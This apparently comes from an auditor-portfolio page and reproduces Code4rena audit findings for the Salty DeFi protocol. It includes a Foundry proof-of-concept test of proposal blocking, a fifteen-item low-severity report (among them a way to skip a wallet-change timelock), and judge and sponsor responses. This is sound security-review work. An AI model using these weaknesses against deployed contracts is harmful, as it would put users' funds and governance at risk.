function _possiblyCreateProposal( string memory ballotName, BallotType ballotType, address address1, uint256 number1, string memory string1, string memory string2 ) internal returns (uint256 ballotID) { require( ! _userHasActiveProposal[msg.sender], "Users can only have one active proposal at a time" ); }

The PoC for this is as below:

function testProposeMultiple() public { vm.startPrank(DEPLOYER); staking.stakeSALT( 1000000 ether ); salt.transfer(address(dao), 200 ether); proposals.proposeSendSALT(bob, 1 ether, ""); vm.startPrank(alice); staking.stakeSALT( 1000000 ether ); vm.warp(block.timestamp + 20 days); vm.expectRevert("Cannot create a proposal similar to a ballot that is still open" ); proposals.proposeSendSALT(alice, 2 ether, ""); proposals.proposeParameterBallot(1, "description" ); vm.warp(block.timestamp + 20 days); vm.expectRevert("Users can only have one active proposal at a time" ); proposals.proposeParameterBallot(2, ""); }

Tools Used

Users have the option to cancel proposals that cannot be finalized after the ballot duration, or the DAO can cancel such proposals

Assessed type

Error

#0 - c4-judge

2024-02-01T17:01:24Z

Picodes marked the issue as duplicate of #362

#1 - c4-sponsor

2024-02-08T11:48:19Z

othernet-global (sponsor) acknowledged

#2 - c4-judge

2024-02-20T11:44:48Z

Picodes changed the severity to QA (Quality Assurance)

#3 - Picodes

2024-02-20T11:45:48Z

Splitting this report in 2: one about a proposal that never reaches the quorum and the other about finalization calls failing

#4 - c4-judge

2024-02-20T11:46:00Z

This previously downgraded issue has been upgraded by Picodes

#5 - c4-judge

2024-02-20T11:46:36Z

Picodes marked the issue as duplicate of #1009

#6 - c4-judge

2024-02-20T11:46:40Z

Picodes marked the issue as not selected for report

#7 - c4-judge

2024-02-20T11:46:43Z

Picodes marked the issue as satisfactory

Findings Information

🌟 Selected for report: 0xBinChook

Also found by: 0x3b, 0xRobocop, 0xpiken, SpicyMeatball, Tripathi, cats, erosjohn, ether_sky, fnanni, juancito, pina

Labels

2 (Med Risk)
satisfactory
duplicate-362

Awards

53.4926 USDC - $53.49

External Links

Judge has assessed an item in Issue #490 as 2 risk. The relevant finding follows:

Another example is when Alice makes a proposal that other users are not interested in.

Creating a proposal to send SALT to a specific address, but others may not feel inclined to vote. Creating a proposal to set a contract with the wrong contract name, so others may choose not to vote. Creating a proposal for a parameter change with the wrong parameter type.

#0 - c4-judge

2024-02-20T11:45:19Z

Picodes marked the issue as duplicate of #362

#1 - c4-judge

2024-02-20T11:45:22Z

Picodes marked the issue as satisfactory

Findings Information

🌟 Selected for report: t0x1c

Also found by: 0xCiphky, 0xpiken, IceBear, ether_sky, oakcobalt, peanuts, wangxx2026

Labels

2 (Med Risk)
satisfactory
duplicate-49

Awards

122.2968 USDC - $122.30

External Links

Judge has assessed an item in Issue #762 as 2 risk. The relevant finding follows:

[L-1] The ManagedWallet is not functioning as anticipated.

The proposed mainWallet can confirm the change only after the 30 days timelock. However, it can be skipped.

The confirmationWallet is capable of sending 0.05 ether before suggesting a new main wallet. Subsequently, the activeTimelock is updated. https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/ManagedWallet.sol#L66 receive() external payable { if ( msg.value >= .05 ether ) activeTimelock = block.timestamp + TIMELOCK_DURATION; } After 30 days, the main wallet proposes a new wallet. The newly proposed main wallet can confirm the change immediately since 30 days have elapsed. https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/ManagedWallet.sol#L77 function changeWallets() external { require( msg.sender == proposedMainWallet, "Invalid sender" ); require( block.timestamp >= activeTimelock, "Timelock not yet completed" ); }

#0 - c4-judge

2024-02-03T14:59:12Z

Picodes marked the issue as duplicate of #637

#1 - c4-judge

2024-02-19T16:25:49Z

Picodes marked the issue as satisfactory

[L-1] The ManagedWallet is not functioning as anticipated.

The proposed mainWallet can confirm the change only after the 30 days timelock. However, it can be skipped.

receive() external payable { if ( msg.value >= .05 ether ) activeTimelock = block.timestamp + TIMELOCK_DURATION; }
function changeWallets() external { require( msg.sender == proposedMainWallet, "Invalid sender" ); require( block.timestamp >= activeTimelock, "Timelock not yet completed" ); }

[L-2] The parameter order in the proposeCallContract function is incorrect.

function _possiblyCreateProposal( string memory ballotName, BallotType ballotType, address address1, uint256 number1, string memory string1, string memory string2 ) internal returns (uint256 ballotID) { ballots[ballotID] = Ballot( ballotID, true, ballotType, ballotName, address1, number1, string1, string2, ballotMinimumEndTime ); }
function proposeCallContract( address contractAddress, uint256 number, string calldata description ) external nonReentrant returns (uint256 ballotID) { return _possiblyCreateProposal( ballotName, BallotType.CALL_CONTRACT, contractAddress, number, description, "" ); }

[L-3] Stop the emission of rewards to the stakingRewards when there are no liquidity holdings.

function _finalizeTokenWhitelisting( uint256 ballotID ) internal { AddedReward[] memory addedRewards = new AddedReward[](2); addedRewards[0] = AddedReward( pool1, bootstrappingRewards ); addedRewards[1] = AddedReward( pool2, bootstrappingRewards ); exchangeConfig.salt().approve( address(liquidityRewardsEmitter), bootstrappingRewards * 2 ); liquidityRewardsEmitter.addSALTRewards( addedRewards ); }
function performUpkeep( uint256 timeSinceLastUpkeep ) external { bytes32[] memory poolIDs; if ( isForCollateralAndLiquidity ) { poolIDs = poolsConfig.whitelistedPools(); } else { poolIDs = new bytes32[](1); poolIDs[0] = PoolUtils.STAKED_SALT; } stakingRewards.addSALTRewards( addedRewards ); }
  • Consequently, the initial depositor has the potential to receive all rewards emitted.

[L-4] The pools cannot receive rewards when they are unwhitelisted.

function unwhitelistPool( IPools pools, IERC20 tokenA, IERC20 tokenB ) external onlyOwner { pools.updateArbitrageIndicies(); }
function step7() public onlySameContract { uint256[] memory profitsForPools = pools.profitsForWhitelistedPools(); bytes32[] memory poolIDs = poolsConfig.whitelistedPools(); saltRewards.performUpkeep(poolIDs, profitsForPools ); }

Execute performUpkeep before unwhitelisting pools.

[L-5] The value of shares may increase.

function _addLiquidity( bytes32 poolID, uint256 maxAmount0, uint256 maxAmount1, uint256 totalLiquidity ) internal returns(uint256 addedAmount0, uint256 addedAmount1, uint256 addedLiquidity) { if ( ( reserve0 == 0 ) || ( reserve1 == 0 ) ) { return ( maxAmount0, maxAmount1, (maxAmount0 + maxAmount1) ); } }
  • If the prices of the two tokens are the same, others can swap tokens in this pool, resulting in reserves of (1e10, 1e10).
  • When users deposit a substantial amount, their shares become larger. For instance, if a user deposits (1e18, 1e18), the share would be 1e26. It's worth noting that the type of userShare is uint128, so there is a possibility of overflow in such cases.

[L-6] Swaps in unwhitelisted pools can impact the accurate emission of rewards.

function clearProfitsForPools() external { bytes32[] memory poolIDs = poolsConfig.whitelistedPools(); for( uint256 i = 0; i < poolIDs.length; i++ ) _arbitrageProfits[ poolIDs[i] ] = 0; }
  • Once these pools become whitelisted again, their _arbitrageProfits will influence the subsequent rewards emission, and these pools will receive a significant portion of those rewards.

[L-7] There is no access check for airdroppers.

function claimAirdrop() external nonReentrant { staking.stakeSALT( saltAmountForEachUser ); staking.transferStakedSaltFromAirdropToUser( msg.sender, saltAmountForEachUser ); }

[L-8] There is no access check for a user attempting to liquidate another user.

function liquidateUser( address wallet ) external nonReentrant { require( wallet != msg.sender, "Cannot liquidate self" ); // First, make sure that the user's collateral ratio is below the required level require( canUserBeLiquidated(wallet), "User cannot be liquidated" ); }

[L-9] When there is a sufficient balance of USDS in Liquidizer, there is no need to swap WBTC and WETH for USDS.

function liquidateUser( address wallet ) external nonReentrant { wbtc.safeTransfer( address(liquidizer), reclaimedWBTC - rewardedWBTC ); weth.safeTransfer( address(liquidizer), reclaimedWETH - rewardedWETH ); }
function performUpkeep() external { PoolUtils._placeInternalSwap(pools, wbtc, usds, wbtc.balanceOf(address(this)), maximumInternalSwapPercentTimes1000 ); PoolUtils._placeInternalSwap(pools, weth, usds, weth.balanceOf(address(this)), maximumInternalSwapPercentTimes1000 ); }

In many cases, the price of the collateral is higher than the liquidated USDS. Therefore, the Liquidizer might have enough USDS to burn. It's advisable to retain WBTC and WETH in the Liquidizer and execute swaps only when necessary.

[L-10] Certain steps in the performUpkeep function are interrelated.

function step4() public onlySameContract { uint256 wethBalance = weth.balanceOf( address(this) ); uint256 amountOfWETH = wethBalance * daoConfig.arbitrageProfitsPercentPOL() / 100; _formPOL(salt, usds, amountOfWETH); } function step5() public onlySameContract { uint256 wethBalance = weth.balanceOf( address(this) ); uint256 amountSALT = pools.depositSwapWithdraw( weth, salt, wethBalance, 0, block.timestamp ); salt.safeTransfer(address(saltRewards), amountSALT); }

[L-11] There is currently no method to withdraw tokens from the DAO's POL.

  • The SALT/USDS and USDS/DAI POLs are consistently established using arbitrage profits.
  • These pools are utilized to augment the USDS buffer for the Liquidizer.
  • However, if there are substantial liquidities in these POLs, it might be beneficial to withdraw a portion of them.

[L-12] It would be more advantageous to allocate SALTs as rewards in the Liquidizer.

function performUpkeep() external { uint256 saltBalance = salt.balanceOf(address(this)); if ( saltBalance > 0 ) { salt.safeTransfer(address(salt), saltBalance); salt.burnTokensInContract(); } }
  • Considering that these POLs are established using arbitrage profits, it would be more advantageous to send these SALTs to the rewardsEmitter rather than burning them.

[L-13] There is no access check for users who submit a proposal.

  • If a user has staked some SALTs and becomes inaccessible, they can still make a proposal. It's unclear if this behavior is intentional.

[L-14] There is an unnecessary call to the excludedCountriesUpdated function.

function _executeApproval( Ballot memory ballot ) internal { excludedCountries[ ballot.string1 ] = true; exchangeConfig.accessManager().excludedCountriesUpdated(); }
function excludedCountriesUpdated() external { require( msg.sender == address(dao), "AccessManager.excludedCountriedUpdated only callable by the DAO" ); geoVersion += 1; }

[L-15] Pools have the potential to receive bootstrapping rewards multiple times.

function _finalizeTokenWhitelisting( uint256 ballotID ) internal { AddedReward[] memory addedRewards = new AddedReward[](2); addedRewards[0] = AddedReward( pool1, bootstrappingRewards ); addedRewards[1] = AddedReward( pool2, bootstrappingRewards ); exchangeConfig.salt().approve( address(liquidityRewardsEmitter), bootstrappingRewards * 2 ); liquidityRewardsEmitter.addSALTRewards( addedRewards ); }
  • If those pools become unwhitelisted and are later whitelisted again, new bootstrapping rewards are allocated to them. This implies that LPs for these pools can receive more bootstrapping rewards. To address this, we should implement a restriction to ensure that any pool receives bootstrapping rewards only once.

#0 - c4-judge

2024-02-03T13:24:45Z

Picodes marked the issue as grade-a

#1 - c4-judge

2024-02-07T18:08:29Z

Picodes marked the issue as grade-b

#2 - c4-judge

2024-02-07T18:08:32Z

Picodes marked the issue as grade-a

#3 - c4-judge

2024-02-07T18:08:35Z

Picodes marked the issue as selected for report

#4 - c4-sponsor

2024-02-12T20:48:15Z

othernet-global (sponsor) acknowledged

#5 - othernet-global

2024-02-12T20:48:21Z

Only 1 of 15 reported issues are actionable.

L1: Allowing the confirmation wallet to confirm a proposed wallet is acceptable as the confirmation wallet will not do so.

L2. Will fix.

L3. Acceptable as the amount of intially emitted rewards will be small (target is 1% per day by default and performUpkeep is called multiple times an hour).

L4. Acceptable for rewards to be locked on unwhitelisting as they will be considered non-circulating.

L5. uint128 is acceptable. Warden mentions in the example that the prices are the same, but that the user deposited 100, 1e18 which would not be possible.

L6. Yes, it is acceptable that unwhitelisted pools which are whitelisted again will be entitled to some share of the profits.

L7. Incorrect. Users can only vote in the BootstrapBallot with proper access, and voting is requried for claiming.

L8. Acceptable.

L9. Liquidating WBTC and WETH for USDS is acceptable, even if the USDS will later be burned.

L10. It is acceptable for default behavior on failed step #4 (which should never happen) be increased SALT rewards.

L11. Correct and as designed for security reasons.

L12. Arbitrary choice. Burning is sufficient.

L13. Acceptable.

L14. Noted.

L15. Acceptable if the DAO decides to unwhitelist and whitelist multiple times.

#6 - c4-judge

2024-02-21T17:30:37Z

Picodes marked the issue as not selected for report

#7 - etherSky111

2024-02-23T23:49:38Z

Hi @Picodes , Thanks for your review.

I think #271 is not a dup of #752 and [L-15] of this QA is a dup of #271.

#8 - Picodes

2024-02-26T08:04:15Z

@etherSky111 unrelated, but can you please add a comment here https://github.com/code-423n4/2024-01-salty-findings/discussions/1060 with all the comments you made that I need to check? Otherwise, they will get lost as it's very hard for me to properly track the activity across all issues

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter